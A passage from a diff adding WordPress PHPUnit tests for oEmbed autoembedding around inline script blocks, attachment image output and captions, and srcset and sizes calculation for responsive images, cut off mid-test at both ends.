+		wp_delete_attachment( $post_id );
+
+		$this->assertEquals( 'This is a test', $post->post_title );
+	}
+
+	/**
+	 * @ticket 33016
+	 */
+	function test_multiline_cdata() {
+		global $wp_embed;
+
+		$content = <<<EOF
+<script>// <![CDATA[
+_my_function('data');
+// ]]>
+</script>
+EOF;
+
+		$result = $wp_embed->autoembed( $content );
+		$this->assertEquals( $content, $result );
+	}
+
+	/**
+	 * @ticket 33016
+	 */
+	function test_multiline_comment() {
+		global $wp_embed;
+
+		$content = <<<EOF
+<script><!--
+my_function();
+// --> </script>
+EOF;
+
+		$result = $wp_embed->autoembed( $content );
+		$this->assertEquals( $content, $result );
+	}
+
+
+	/**
+	 * @ticket 33016
+	 */
+	function test_multiline_comment_with_embeds() {
+		$content = <<<EOF
+Start.
+[embed]http://www.youtube.com/embed/TEST01YRHA0[/embed]
+<script><!--
+my_function();
+// --> </script>
+http://www.youtube.com/embed/TEST02YRHA0
+[embed]http://www.example.com/embed/TEST03YRHA0[/embed]
+http://www.example.com/embed/TEST04YRHA0
+Stop.
+EOF;
+
+		$expected = <<<EOF
+<p>Start.<br />
+https://youtube.com/watch?v=TEST01YRHA0<br />
+<script><!--
+my_function();
+// --> </script><br />
+https://youtube.com/watch?v=TEST02YRHA0<br />
+<a href="http://www.example.com/embed/TEST03YRHA0">http://www.example.com/embed/TEST03YRHA0</a><br />
+http://www.example.com/embed/TEST04YRHA0<br />
+Stop.</p>
+
+EOF;
+
+		$result = apply_filters( 'the_content', $content );
+		$this->assertEquals( $expected, $result );
+	}
+
+	/**
+	 * @ticket 33016
+	 */
+	function filter_wp_embed_shortcode_custom( $content, $url ) {
+		if ( 'https://www.example.com/?video=1' == $url ) {
+			$content = '@embed URL was replaced@';
+		}
+		return $content;
+	}
+
+	/**
+	 * @ticket 33016
+	 */
+	function test_oembed_explicit_media_link() {
+		global $wp_embed;
+		add_filter( 'embed_maybe_make_link', array( $this, 'filter_wp_embed_shortcode_custom' ), 10, 2 );
+
+		$content = <<<EOF
+https://www.example.com/?video=1
+EOF;
+
+		$expected = <<<EOF
+@embed URL was replaced@
+EOF;
+
+		$result = $wp_embed->autoembed( $content );
+		$this->assertEquals( $expected, $result );
+
+		$content = <<<EOF
+<a href="https://www.example.com/?video=1">https://www.example.com/?video=1</a>
+<script>// <![CDATA[
+_my_function('data');
+myvar = 'Hello world
+https://www.example.com/?video=1
+do not break this';
+// ]]>
+</script>
+EOF;
+
+		$result = $wp_embed->autoembed( $content );
+		$this->assertEquals( $content, $result );
+
+		remove_filter( 'embed_maybe_make_link', array( $this, 'filter_wp_embed_shortcode_custom' ), 10 );
+	}
+
+	/**
+	 * Tests the default output of `wp_get_attachment_image()`.
+	 * @ticket 34635
+	 */
+	function test_wp_get_attachment_image_defaults() {
+		$image = image_downsize( self::$large_id, 'thumbnail' );
+		$expected = sprintf( '<img width="%1$d" height="%2$d" src="%3$s" class="attachment-thumbnail size-thumbnail" alt="" />', $image[1], $image[2], $image[0] );
+
+		$this->assertEquals( $expected, wp_get_attachment_image( self::$large_id ) );
+	}
+
+	/**
+	 * Test that `wp_get_attachment_image()` returns a proper alt value.
+	 * @ticket 34635
+	 */
+	function test_wp_get_attachment_image_with_alt() {
+		// Add test alt metadata.
+		update_post_meta( self::$large_id, '_wp_attachment_image_alt', 'Some very clever alt text', true );
+
+		$image = image_downsize( self::$large_id, 'thumbnail' );
+		$expected = sprintf( '<img width="%1$d" height="%2$d" src="%3$s" class="attachment-thumbnail size-thumbnail" alt="Some very clever alt text" />', $image[1], $image[2], $image[0] );
+
+		$this->assertEquals( $expected, wp_get_attachment_image( self::$large_id ) );
+
+		// Cleanup.
+		update_post_meta( self::$large_id, '_wp_attachment_image_alt', '', true );
+	}
+
+	/**
+	 * @ticket 33878
+	 */
+	function test_wp_get_attachment_image_url() {
+		$this->assertFalse( wp_get_attachment_image_url( 0 ) );
+
+		$post_id = self::factory()->post->create();
+		$attachment_id = self::factory()->attachment->create_object( $this->img_name, $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment',
+		) );
+
+		$image = wp_get_attachment_image_src( $attachment_id, 'thumbnail', false );
+
+		$this->assertEquals( $image[0], wp_get_attachment_image_url( $attachment_id ) );
+	}
+
+	/**
+	 * @ticket 12235
+	 */
+	function test_wp_get_attachment_caption() {
+		$this->assertFalse( wp_get_attachment_caption( 0 ) );
+
+		$caption = 'This is a caption.';
+
+		$post_id = self::factory()->post->create();
+		$attachment_id = self::factory()->attachment->create_object( $this->img_name, $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type'      => 'attachment',
+			'post_excerpt'   => $caption,
+		) );
+
+		$this->assertFalse( wp_get_attachment_caption( $post_id ) );
+
+		$this->assertEquals( $caption, wp_get_attachment_caption( $attachment_id ) );
+	}
+
+	/**
+	 * @ticket 12235
+	 */
+	function test_wp_get_attachment_caption_empty() {
+		$post_id = self::factory()->post->create();
+		$attachment_id = self::factory()->attachment->create_object( $this->img_name, $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type'      => 'attachment',
+			'post_excerpt'   => '',
+		) );
+
+		$this->assertEquals( '', wp_get_attachment_caption( $attachment_id ) );
+	}
+
+	/**
+	 * Helper function to get image size array from size "name"
+	 */
+	function _get_image_size_array_from_meta( $image_meta, $size_name ) {
+		$array = false;
+
+		if ( is_array( $image_meta ) ) {
+			if ( 'full' === $size_name && isset( $image_meta['width'] ) && isset( $image_meta['height'] ) ) {
+				$array = array( $image_meta['width'], $image_meta['height'] );
+			} elseif ( isset( $image_meta['sizes'][ $size_name ]['width'] ) && isset( $image_meta['sizes'][ $size_name ]['height'] ) ) {
+				$array = array( $image_meta['sizes'][ $size_name ]['width'], $image_meta['sizes'][ $size_name ]['height'] );
+			}
+		}
+
+		return $array;
+	}
+
+	/**
+	 * Helper function to move the src image to the first position in the expected srcset string.
+	 */
+	function _src_first( $srcset, $src_url, $src_width ) {
+		$src_string = $src_url . ' ' . $src_width . 'w';
+		$src_not_first = ', ' . $src_string;
+
+		if ( strpos( $srcset, $src_not_first ) ) {
+			$srcset = str_replace( $src_not_first, '', $srcset );
+			$srcset = $src_string . ', ' . $srcset;
+		}
+
+		return $srcset;
+	}
+
+	/**
+	 * @ticket 33641
+	 */
+	function test_wp_calculate_image_srcset() {
+		$_wp_additional_image_sizes = wp_get_additional_image_sizes();
+
+		$year_month = date('Y/m');
+		$image_meta = wp_get_attachment_metadata( self::$large_id );
+		$uploads_dir_url = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/';
+
+		// Set up test cases for all expected size names.
+		$intermediates = array( 'medium', 'medium_large', 'large', 'full' );
+
+		// Add any soft crop intermediate sizes.
+		foreach ( $_wp_additional_image_sizes as $name => $additional_size ) {
+			if ( ! $_wp_additional_image_sizes[$name]['crop'] || 0 === $_wp_additional_image_sizes[$name]['height'] ) {
+				$intermediates[] = $name;
+			}
+		}
+
+		$expected = '';
+
+		foreach ( $image_meta['sizes'] as $name => $size ) {
+			// Whitelist the sizes that should be included so we pick up 'medium_large' in 4.4.
+			if ( in_array( $name, $intermediates ) ) {
+				$expected .= $uploads_dir_url . $year_month . '/' . $size['file'] . ' ' . $size['width'] . 'w, ';
+			}
+		}
+
+		// Add the full size width at the end.
+		$expected .= $uploads_dir_url . $image_meta['file'] . ' ' . $image_meta['width'] .'w';
+
+		foreach ( $intermediates as $int ) {
+			$image_url = wp_get_attachment_image_url( self::$large_id, $int );
+			$size_array = $this->_get_image_size_array_from_meta( $image_meta, $int );
+			$expected_srcset = $this->_src_first( $expected, $image_url, $size_array[0] );
+			$this->assertSame( $expected_srcset, wp_calculate_image_srcset( $size_array, $image_url, $image_meta ) );
+		}
+	}
+
+	/**
+	 * @ticket 33641
+	 */
+	function test_wp_calculate_image_srcset_no_date_uploads() {
+		$_wp_additional_image_sizes = wp_get_additional_image_sizes();
+
+		// Disable date organized uploads
+		add_filter( 'upload_dir', '_upload_dir_no_subdir' );
+
+		// Make an image.
+		$filename = DIR_TESTDATA . '/images/test-image-large.png';
+		$id = self::factory()->attachment->create_upload_object( $filename );
+
+		$image_meta = wp_get_attachment_metadata( $id );
+		$uploads_dir_url = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/';
+
+		// Set up test cases for all expected size names.
+		$intermediates = array( 'medium', 'medium_large', 'large', 'full' );
+
+		foreach ( $_wp_additional_image_sizes as $name => $additional_size ) {
+			if ( ! $_wp_additional_image_sizes[$name]['crop'] || 0 === $_wp_additional_image_sizes[$name]['height'] ) {
+				$intermediates[] = $name;
+			}
+		}
+
+		$expected = '';
+
+		foreach ( $image_meta['sizes'] as $name => $size ) {
+			// Whitelist the sizes that should be included so we pick up 'medium_large' in 4.4.
+			if ( in_array( $name, $intermediates ) ) {
+				$expected .= $uploads_dir_url . $size['file'] . ' ' . $size['width'] . 'w, ';
+			}
+		}
+
+		// Add the full size width at the end.
+		$expected .= $uploads_dir_url . $image_meta['file'] . ' ' . $image_meta['width'] .'w';
+
+		foreach ( $intermediates as $int ) {
+			$size_array = $this->_get_image_size_array_from_meta( $image_meta, $int );
+			$image_url = wp_get_attachment_image_url( $id, $int );
+			$expected_srcset = $this->_src_first( $expected, $image_url, $size_array[0] );
+			$this->assertSame( $expected_srcset, wp_calculate_image_srcset( $size_array, $image_url, $image_meta ) );
+		}
+
+		// Remove the attachment
+		wp_delete_attachment( $id );
+		remove_filter( 'upload_dir', '_upload_dir_no_subdir' );
+	}
+
+	/**
+	 * @ticket 33641
+	 */
+	function test_wp_calculate_image_srcset_with_edits() {
+		// For this test we're going to mock metadata changes from an edit.
+		// Start by getting the attachment metadata.
+		$image_meta = wp_get_attachment_metadata( self::$large_id );
+		$image_url = wp_get_attachment_image_url( self::$large_id, 'medium' );
+		$size_array = $this->_get_image_size_array_from_meta( $image_meta, 'medium' );
+
+		// Copy hash generation method used in wp_save_image().
+		$hash = 'e' . time() . rand(100, 999);
+
+		$filename_base = basename( $image_meta['file'], '.png' );
+
+		// Add the hash to the image URL
+		$image_url = str_replace( $filename_base, $filename_base . '-' . $hash, $image_url );
+
+		// Replace file paths for full and medium sizes with hashed versions.
+		$image_meta['file'] = str_replace( $filename_base, $filename_base . '-' . $hash, $image_meta['file'] );
+		$image_meta['sizes']['medium']['file'] = str_replace( $filename_base, $filename_base . '-' . $hash, $image_meta['sizes']['medium']['file'] );
+		$image_meta['sizes']['medium_large']['file'] = str_replace( $filename_base, $filename_base . '-' . $hash, $image_meta['sizes']['medium_large']['file'] );
+		$image_meta['sizes']['large']['file'] = str_replace( $filename_base, $filename_base . '-' . $hash, $image_meta['sizes']['large']['file'] );
+
+		// Calculate a srcset array.
+		$sizes = explode( ', ', wp_calculate_image_srcset( $size_array, $image_url, $image_meta ) );
+
+		// Test to confirm all sources in the array include the same edit hash.
+		foreach ( $sizes as $size ) {
+			$this->assertNotFalse( strpos( $size, $hash ) );
+		}
+	}
+
+	/**
+	 * @ticket 35106
+	 */
+	function test_wp_calculate_image_srcset_with_absolute_path_in_meta() {
+		$_wp_additional_image_sizes = wp_get_additional_image_sizes();
+
+		$year_month = date('Y/m');
+		$image_meta = wp_get_attachment_metadata( self::$large_id );
+		$uploads_dir_url = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/';
+
+		// Set up test cases for all expected size names.
+		$intermediates = array( 'medium', 'medium_large', 'large', 'full' );
+
+		// Add any soft crop intermediate sizes.
+		foreach ( $_wp_additional_image_sizes as $name => $additional_size ) {
+			if ( ! $_wp_additional_image_sizes[$name]['crop'] || 0 === $_wp_additional_image_sizes[$name]['height'] ) {
+				$intermediates[] = $name;
+			}
+		}
+
+		$expected = '';
+
+		foreach( $image_meta['sizes'] as $name => $size ) {
+			// Whitelist the sizes that should be included so we pick up 'medium_large' in 4.4.
+			if ( in_array( $name, $intermediates ) ) {
+				$expected .= $uploads_dir_url . $year_month . '/' . $size['file'] . ' ' . $size['width'] . 'w, ';
+			}
+		}
+
+		// Add the full size width at the end.
+		$expected .= $uploads_dir_url . $image_meta['file'] . ' ' . $image_meta['width'] .'w';
+
+		// Prepend an absolute path to simulate a pre-2.7 upload
+		$image_meta['file'] = 'H:\home\wordpress\trunk/wp-content/uploads/' . $image_meta['file'];
+
+		foreach ( $intermediates as $int ) {
+			$image_url = wp_get_attachment_image_url( self::$large_id, $int );
+			$size_array = $this->_get_image_size_array_from_meta( $image_meta, $int );
+			$expected_srcset = $this->_src_first( $expected, $image_url, $size_array[0] );
+			$this->assertSame( $expected_srcset, wp_calculate_image_srcset( $size_array, $image_url, $image_meta ) );
+		}
+	}
+
+	/**
+	 * @ticket 33641
+	 */
+	function test_wp_calculate_image_srcset_false() {
+		$sizes = wp_calculate_image_srcset( array( 400, 300 ), 'file.png', array() );
+
+		// For canola.jpg we should return
+		$this->assertFalse( $sizes );
+	}
+
+	/**
+	 * @ticket 33641
+	 */
+	function test_wp_calculate_image_srcset_no_width() {
+		$file = get_attached_file( self::$large_id );
+		$image_url = wp_get_attachment_image_url( self::$large_id, 'medium' );
+		$image_meta = wp_generate_attachment_metadata( self::$large_id, $file );
+
+		$size_array = array(0, 0);
+
+		$srcset = wp_calculate_image_srcset( $size_array, $image_url, $image_meta );
+
+		// The srcset should be false.
+		$this->assertFalse( $srcset );
+	}
+
+	/**
+	 * @ticket 34955
+	 * @ticket 33641
+	 */
+	function test_wp_calculate_image_srcset_ratio_variance() {
+		// Mock data for this test.
+		$size_array = array( 218, 300 );
+		$image_src = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test-768x1055-218x300.png';
+		$image_meta = array(
+			'width' => 768,
+			'height' => 1055,
+			'file' => '2015/12/test-768x1055.png',
+			'sizes' => array(
+				'thumbnail' => array(
+					'file' => 'test-768x1055-150x150.png',
+					'width' => 150,
+					'height' => 150,
+					'mime-type' => 'image/png',
+				),
+				'medium' => array(
+					'file' => 'test-768x1055-218x300.png',
+					'width' => 218,
+					'height' => 300,
+					'mime-type' => 'image/png',
+				),
+				'custom-600' => array(
+					'file' => 'test-768x1055-600x824.png',
+					'width' => 600,
+					'height' => 824,
+					'mime-type' => 'image/png',
+				),
+				'post-thumbnail' => array(
+					'file' => 'test-768x1055-768x510.png',
+					'width' => 768,
+					'height' => 510,
+					'mime-type' => 'image/png',
+				),
+			),
+		);
+
+		$expected_srcset = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test-768x1055-218x300.png 218w, http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test-768x1055-600x824.png 600w, http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test-768x1055.png 768w';
+
+		$this->assertSame( $expected_srcset, wp_calculate_image_srcset( $size_array, $image_src, $image_meta ) );
+	}
+
+	/**
+	 * @ticket 35108
+	 * @ticket 33641
+	 */
+	function test_wp_calculate_image_srcset_include_src() {
+		// Mock data for this test.
+		$size_array = array( 2000, 1000 );
+		$image_src = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test.png';
+		$image_meta = array(
+			'width' => 2000,
+			'height' => 1000,
+			'file' => '2015/12/test.png',
+			'sizes' => array(
+				'thumbnail' => array(
+					'file' => 'test-150x150.png',
+					'width' => 150,
+					'height' => 150,
+					'mime-type' => 'image/png',
+				),
+				'medium' => array(
+					'file' => 'test-300x150.png',
+					'width' => 300,
+					'height' => 150,
+					'mime-type' => 'image/png',
+				),
+				'medium_large' => array(
+					'file' => 'test-768x384.png',
+					'width' => 768,
+					'height' => 384,
+					'mime-type' => 'image/png',
+				),
+				'large' => array(
+					'file' => 'test-1024x512.png',
+					'width' => 1024,
+					'height' => 512,
+					'mime-type' => 'image/png',
+				),
+			),
+		);
+
+		$expected_srcset = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test.png 2000w, http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test-300x150.png 300w, http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test-768x384.png 768w, http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test-1024x512.png 1024w';
+
+		$this->assertSame( $expected_srcset, wp_calculate_image_srcset( $size_array, $image_src, $image_meta ) );
+	}
+
+	/**
+	 * @ticket 35480
+	 */
+	function test_wp_calculate_image_srcset_corrupted_image_meta() {
+		$size_array = array( 300, 150 );
+		$image_src = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test-300x150.png';
+		$image_meta = array(
+			'width' => 1600,
+			'height' => 800,
+			'file' => '2015/12/test.png',
+			'sizes' => array(
+				'thumbnail' => array(
+					'file' => 'test-150x150.png',
+					'width' => 150,
+					'height' => 150,
+					'mime-type' => 'image/png',
+				),
+				'medium' => array(
+					'file' => 'test-300x150.png',
+					'width' => 300,
+					'height' => 150,
+					'mime-type' => 'image/png',
+				),
+				'medium_large' => array(
+					'file' => 'test-768x384.png',
+					'width' => 768,
+					'height' => 384,
+					'mime-type' => 'image/png',
+				),
+				'large' => array(
+					'file' => 'test-1024x512.png',
+					'width' => 1024,
+					'height' => 512,
+					'mime-type' => 'image/png',
+				),
+			),
+		);
+
+		$srcset = array(
+			300  => 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test-300x150.png 300w',
+			768  => 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test-768x384.png 768w',
+			1024 => 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test-1024x512.png 1024w',
+			1600 => 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test.png 1600w',
+		);
+
+		// No sizes array
+		$image_meta1 = $image_meta;
+		unset( $image_meta1['sizes'] );
+		$this->assertFalse( wp_calculate_image_srcset( $size_array, $image_src, $image_meta1 ) );
+
+		// Sizes is string instead of array; only full size available means no srcset.
+		$image_meta2 = $image_meta;
+		$image_meta2['sizes'] = '';
+		$this->assertFalse( wp_calculate_image_srcset( $size_array, $image_src, $image_meta2 ) );
+
+		// File name is incorrect
+		$image_meta3 = $image_meta;
+		$image_meta3['file'] = '/';
+		$this->assertFalse( wp_calculate_image_srcset( $size_array, $image_src, $image_meta3 ) );
+
+		// File name is incorrect
+		$image_meta4 = $image_meta;
+		unset( $image_meta4['file'] );
+		$this->assertFalse( wp_calculate_image_srcset( $size_array, $image_src, $image_meta4 ) );
+
+		// Intermediate size is string instead of array.
+		$image_meta5 = $image_meta;
+		$image_meta5['sizes']['medium_large'] = '';
+		unset( $srcset[768] );
+		$expected_srcset = implode( ', ', $srcset );
+		$this->assertSame( $expected_srcset, wp_calculate_image_srcset( $size_array, $image_src, $image_meta5 ) );
+	}
+
+	/**
+	 * @ticket 36549
+	 * @ticket 33641
+	 */
+	function test_wp_calculate_image_srcset_with_spaces_in_filenames() {
+		// Mock data for this test.
+		$image_src = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test image-300x150.png';
+		$image_meta = array(
+			'width' => 2000,
+			'height' => 1000,
+			'file' => '2015/12/test image.png',
+			'sizes' => array(
+				'thumbnail' => array(
+					'file' => 'test image-150x150.png',
+					'width' => 150,
+					'height' => 150,
+					'mime-type' => 'image/png',
+				),
+				'medium' => array(
+					'file' => 'test image-300x150.png',
+					'width' => 300,
+					'height' => 150,
+					'mime-type' => 'image/png',
+				),
+				'medium_large' => array(
+					'file' => 'test image-768x384.png',
+					'width' => 768,
+					'height' => 384,
+					'mime-type' => 'image/png',
+				),
+				'large' => array(
+					'file' => 'test image-1024x512.png',
+					'width' => 1024,
+					'height' => 512,
+					'mime-type' => 'image/png',
+				),
+			),
+		);
+
+		$expected_srcset = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test%20image-300x150.png 300w, http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test%20image-768x384.png 768w, http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/2015/12/test%20image-1024x512.png 1024w';
+
+		$this->assertSame( $expected_srcset, wp_calculate_image_srcset( array( 300, 150 ), $image_src, $image_meta ) );
+	}
+
+	/**
+	 * @ticket 33641
+	 */
+	function test_wp_get_attachment_image_srcset() {
+		$_wp_additional_image_sizes = wp_get_additional_image_sizes();
+
+		$image_meta = wp_get_attachment_metadata( self::$large_id );
+		$size_array = array( 1600, 1200 ); // full size
+
+		$srcset = wp_get_attachment_image_srcset( self::$large_id, $size_array, $image_meta );
+
+		$year_month = date('Y/m');
+		$uploads_dir = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/';
+
+		// Set up test cases for all expected size names.
+		$intermediates = array( 'medium', 'medium_large', 'large', 'full' );
+
+		foreach ( $_wp_additional_image_sizes as $name => $additional_size ) {
+			if ( ! $_wp_additional_image_sizes[$name]['crop'] || 0 === $_wp_additional_image_sizes[$name]['height'] ) {
+				$intermediates[] = $name;
+			}
+		}
+
+		$expected = "";
+
+		foreach ( $image_meta['sizes'] as $name => $size ) {
+			// Whitelist the sizes that should be included so we pick up 'medium_large' in 4.4.
+			if ( in_array( $name, $intermediates ) ) {
+				$expected .= $uploads_dir . $year_month . '/' . $size['file'] . ' ' . $size['width'] . 'w, ';
+			}
+		}
+
+		$expected .= $uploads_dir . $image_meta['file'] . ' ' . $image_meta['width'] .'w';
+
+		$expected_srcset = $this->_src_first( $expected, $uploads_dir . $image_meta['file'], $size_array[0] );
+
+		$this->assertSame( $expected_srcset, $srcset );
+	}
+
+	/**
+	 * @ticket 33641
+	 */
+	function test_wp_get_attachment_image_srcset_single_srcset() {
+		$image_meta = wp_get_attachment_metadata( self::$large_id );
+		$size_array = array( 150, 150 );
+		/*
+		 * In our tests, thumbnails will only return a single srcset candidate,
+		 * so we shouldn't return a srcset value in order to avoid unneeded markup.
+		 */
+		$sizes = wp_get_attachment_image_srcset( self::$large_id, $size_array, $image_meta );
+
+		$this->assertFalse( $sizes );
+	}
+
+	/**
+	 * @ticket 33641
+	 */
+	function test_wp_get_attachment_image_srcset_invalidsize() {
+		$image_meta = wp_get_attachment_metadata( self::$large_id );
+		$invalid_size = 'nailthumb';
+		$original_size = array( 1600, 1200 );
+
+		$srcset = wp_get_attachment_image_srcset( self::$large_id, $invalid_size, $image_meta );
+
+		// Expect a srcset for the original full size image to be returned.
+		$expected = wp_get_attachment_image_srcset( self::$large_id, $original_size, $image_meta );
+
+		$this->assertSame( $expected, $srcset );
+	}
+
+	/**
+	 * @ticket 33641
+	 */
+	function test_wp_get_attachment_image_sizes() {
+		// Test sizes against the default WP sizes.
+		$intermediates = array('thumbnail', 'medium', 'medium_large', 'large');
+
+		// Make sure themes aren't filtering the sizes array.
+		remove_all_filters( 'wp_calculate_image_sizes' );
+
+		foreach( $intermediates as $int_size ) {
+			$image = wp_get_attachment_image_src( self::$large_id, $int_size );
+
+			$expected = '(max-width: ' . $image[1] . 'px) 100vw, ' . $image[1] . 'px';
+			$sizes = wp_get_attachment_image_sizes( self::$large_id, $int_size );
+
+			$this->assertSame( $expected, $sizes );
+		}
+	}
+
+	/**
+	 * @ticket 33641
+	 */
+	function test_wp_calculate_image_sizes() {
+		// Test sizes against the default WP sizes.
+		$intermediates = array( 'thumbnail', 'medium', 'medium_large', 'large' );
+		$image_meta = wp_get_attachment_metadata( self::$large_id );
+
+		// Make sure themes aren't filtering the sizes array.
+		remove_all_filters( 'wp_calculate_image_sizes' );
+
+		foreach ( $intermediates as $int_size ) {
+			$size_array = $this->_get_image_size_array_from_meta( $image_meta, $int_size );
+			$image_src = $image_meta['sizes'][ $int_size ]['file'];
+			list( $width, $height ) = $size_array;
+
+			$expected = '(max-width: ' . $width . 'px) 100vw, ' . $width . 'px';
+			$sizes = wp_calculate_image_sizes( $size_array, $image_src, $image_meta );
+
+			$this->assertSame( $expected, $sizes );
+		}
+	}
+
+	/**
+	 * @ticket 33641
+	 */
+	function test_wp_make_content_images_responsive() {
+		$image_meta = wp_get_attachment_metadata( self::$large_id );
+		$size_array = $this->_get_image_size_array_from_meta( $image_meta, 'medium' );
+
+		$srcset = sprintf( 'srcset="%s"', wp_get_attachment_image_srcset( self::$large_id, $size_array, $image_meta ) );
+		$sizes = sprintf( 'sizes="%s"', wp_get_attachment_image_sizes( self::$large_id, $size_array, $image_meta ) );
+
+		// Function used to build HTML for the editor.
+		$img = get_image_tag( self::$large_id, '', '', '', 'medium' );
+		$img_no_size_in_class = str_replace( 'size-', '', $img );
+		$img_no_width_height = str_replace( ' width="' . $size_array[0] . '"', '', $img );
+		$img_no_width_height = str_replace( ' height="' . $size_array[1] . '"', '', $img_no_width_height );
+		$img_no_size_id = str_replace( 'wp-image-', 'id-', $img );
+		$img_with_sizes_attr = str_replace( '<img ', '<img sizes="99vw" ', $img );
+		$img_xhtml = str_replace( ' />', '/>', $img );
+		$img_html5 = str_replace( ' />', '>', $img );
+
+		// Manually add srcset and sizes to the markup from get_image_tag();
+		$respimg = preg_replace( '|<img ([^>]+) />|', '<img $1 ' . $srcset . ' ' . $sizes . ' />', $img );
+		$respimg_no_size_in_class = preg_replace( '|<img ([^>]+) />|', '<img $1 ' . $srcset . ' ' . $sizes . ' />', $img_no_size_in_class );
+		$respimg_no_width_height = preg_replace( '|<img ([^>]+) />|', '<img $1 ' . $srcset . ' ' . $sizes . ' />', $img_no_width_height );
+		$respimg_with_sizes_attr = preg_replace('|<img ([^>]+) />|', '<img $1 ' . $srcset . ' />', $img_with_sizes_attr );
+		$respimg_xhtml = preg_replace( '|<img ([^>]+)/>|', '<img $1 ' . $srcset . ' ' . $sizes . ' />', $img_xhtml );
+		$respimg_html5 = preg_replace( '|<img ([^>]+)>|', '<img $1 ' . $srcset . ' ' . $sizes . ' />', $img_html5 );
+
+		$content = '
+			<p>Image, standard. Should have srcset and sizes.</p>
+			%1$s
+
+			<p>Image, no size class. Should have srcset and sizes.</p>
+			%2$s
+
+			<p>Image, no width and height attributes. Should have srcset and sizes (from matching the file name).</p>
+			%3$s
+
+			<p>Image, no attachment ID class. Should NOT have srcset and sizes.</p>
+			%4$s
+
+			<p>Image, with sizes attribute. Should NOT have two sizes attributes.</p>
+			%5$s
+
+			<p>Image, XHTML 1.0 style (no space before the closing slash). Should have srcset and sizes.</p>
+			%6$s
+
+			<p>Image, HTML 5.0 style. Should have srcset and sizes.</p>
+			%7$s';
+
+		$content_unfiltered = sprintf( $content, $img, $img_no_size_in_class, $img_no_width_height, $img_no_size_id, $img_with_sizes_attr, $img_xhtml, $img_html5 );
+		$content_filtered = sprintf( $content, $respimg, $respimg_no_size_in_class, $respimg_no_width_height, $img_no_size_id, $respimg_with_sizes_attr, $respimg_xhtml, $respimg_html5 );
+
+		$this->assertSame( $content_filtered, wp_make_content_images_responsive( $content_unfiltered ) );
+	}
+
+	/**
+	 * When rendering attributes for responsive images,
+	 * we rely on the 'wp-image-*' class to find the image by ID.
+	 * The class name may not be consistent with attachment IDs in DB when
+	 * working with imported content or when a user has edited
+	 * the 'src' attribute manually. To avoid incorrect images
+	 * being displayed, ensure we don't add attributes in this case.
+	 *
+	 * @ticket 34898
+	 * @ticket 33641
+	 */
+	function test_wp_make_content_images_responsive_wrong() {
+		$image = get_image_tag( self::$large_id, '', '', '', 'medium' );
+
+		// Replace the src URL
+		$image_wrong_src = preg_replace( '|src="[^"]+"|', 'src="http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/foo.jpg"', $image );
+
+		$this->assertSame( $image_wrong_src, wp_make_content_images_responsive( $image_wrong_src ) );
+	}
+
+	/**
+	 * @ticket 33641
+	 */
+	function test_wp_make_content_images_responsive_with_preexisting_srcset() {
+		// Generate HTML and add a dummy srcset attribute.
+		$image_html = get_image_tag( self::$large_id, '', '', '', 'medium' );
+		$image_html = preg_replace('|<img ([^>]+) />|', '<img $1 ' . 'srcset="image2x.jpg 2x" />', $image_html );
+
+		// The content filter should return the image unchanged.
+		$this->assertSame( $image_html, wp_make_content_images_responsive( $image_html ) );
+	}
+
+	/**
+	 * @ticket 33641
+	 * @ticket 34528
+	 */
+	function test_wp_calculate_image_srcset_animated_gifs() {
+		// Mock meta for an animated gif.
+		$image_meta = array(
+			'width' => 1200,
+			'height' => 600,
+			'file' => 'animated.gif',
+			'sizes' => array(
+				'thumbnail' => array(
+					'file' => 'animated-150x150.gif',
+					'width' => 150,
+					'height' => 150,
+					'mime-type' => 'image/gif'
+				),
+				'medium' => array(
+					'file' => 'animated-300x150.gif',
+					'width' => 300,
+					'height' => 150,
+					'mime-type' => 'image/gif'
+				),
+				'large' => array(
+					'file' => 'animated-1024x512.gif',
+					'width' => 1024,
+					'height' => 512,
+					'mime-type' => 'image/gif'
+				),
+			)
+		);
+
+		$full_src  = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . $image_meta['file'];
+		$large_src = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . $image_meta['sizes']['large']['file'];
+
+		// Test with soft resized size array.
+		$size_array = array(900, 450);
+
+		// Full size GIFs should not return a srcset.
+		$this->assertFalse( wp_calculate_image_srcset( $size_array, $full_src, $image_meta ) );
+		// Intermediate sized GIFs should not include the full size in the srcset.
+		$this->assertFalse( strpos( wp_calculate_image_srcset( $size_array, $large_src, $image_meta ), $full_src ) );
+	}
+
+	/**
+	 * @ticket 35045
+	 * @ticket 33641
+	 */
+	function test_wp_make_content_images_responsive_schemes() {
+		$image_meta = wp_get_attachment_metadata( self::$large_id );
+		$size_array = $this->_get_image_size_array_from_meta( $image_meta, 'medium' );
+
+		$srcset = sprintf( 'srcset="%s"', wp_get_attachment_image_srcset( self::$large_id, $size_array, $image_meta ) );
+		$sizes  = sprintf( 'sizes="%s"', wp_get_attachment_image_sizes( self::$large_id, $size_array, $image_meta ) );
+
+		// Build HTML for the editor.
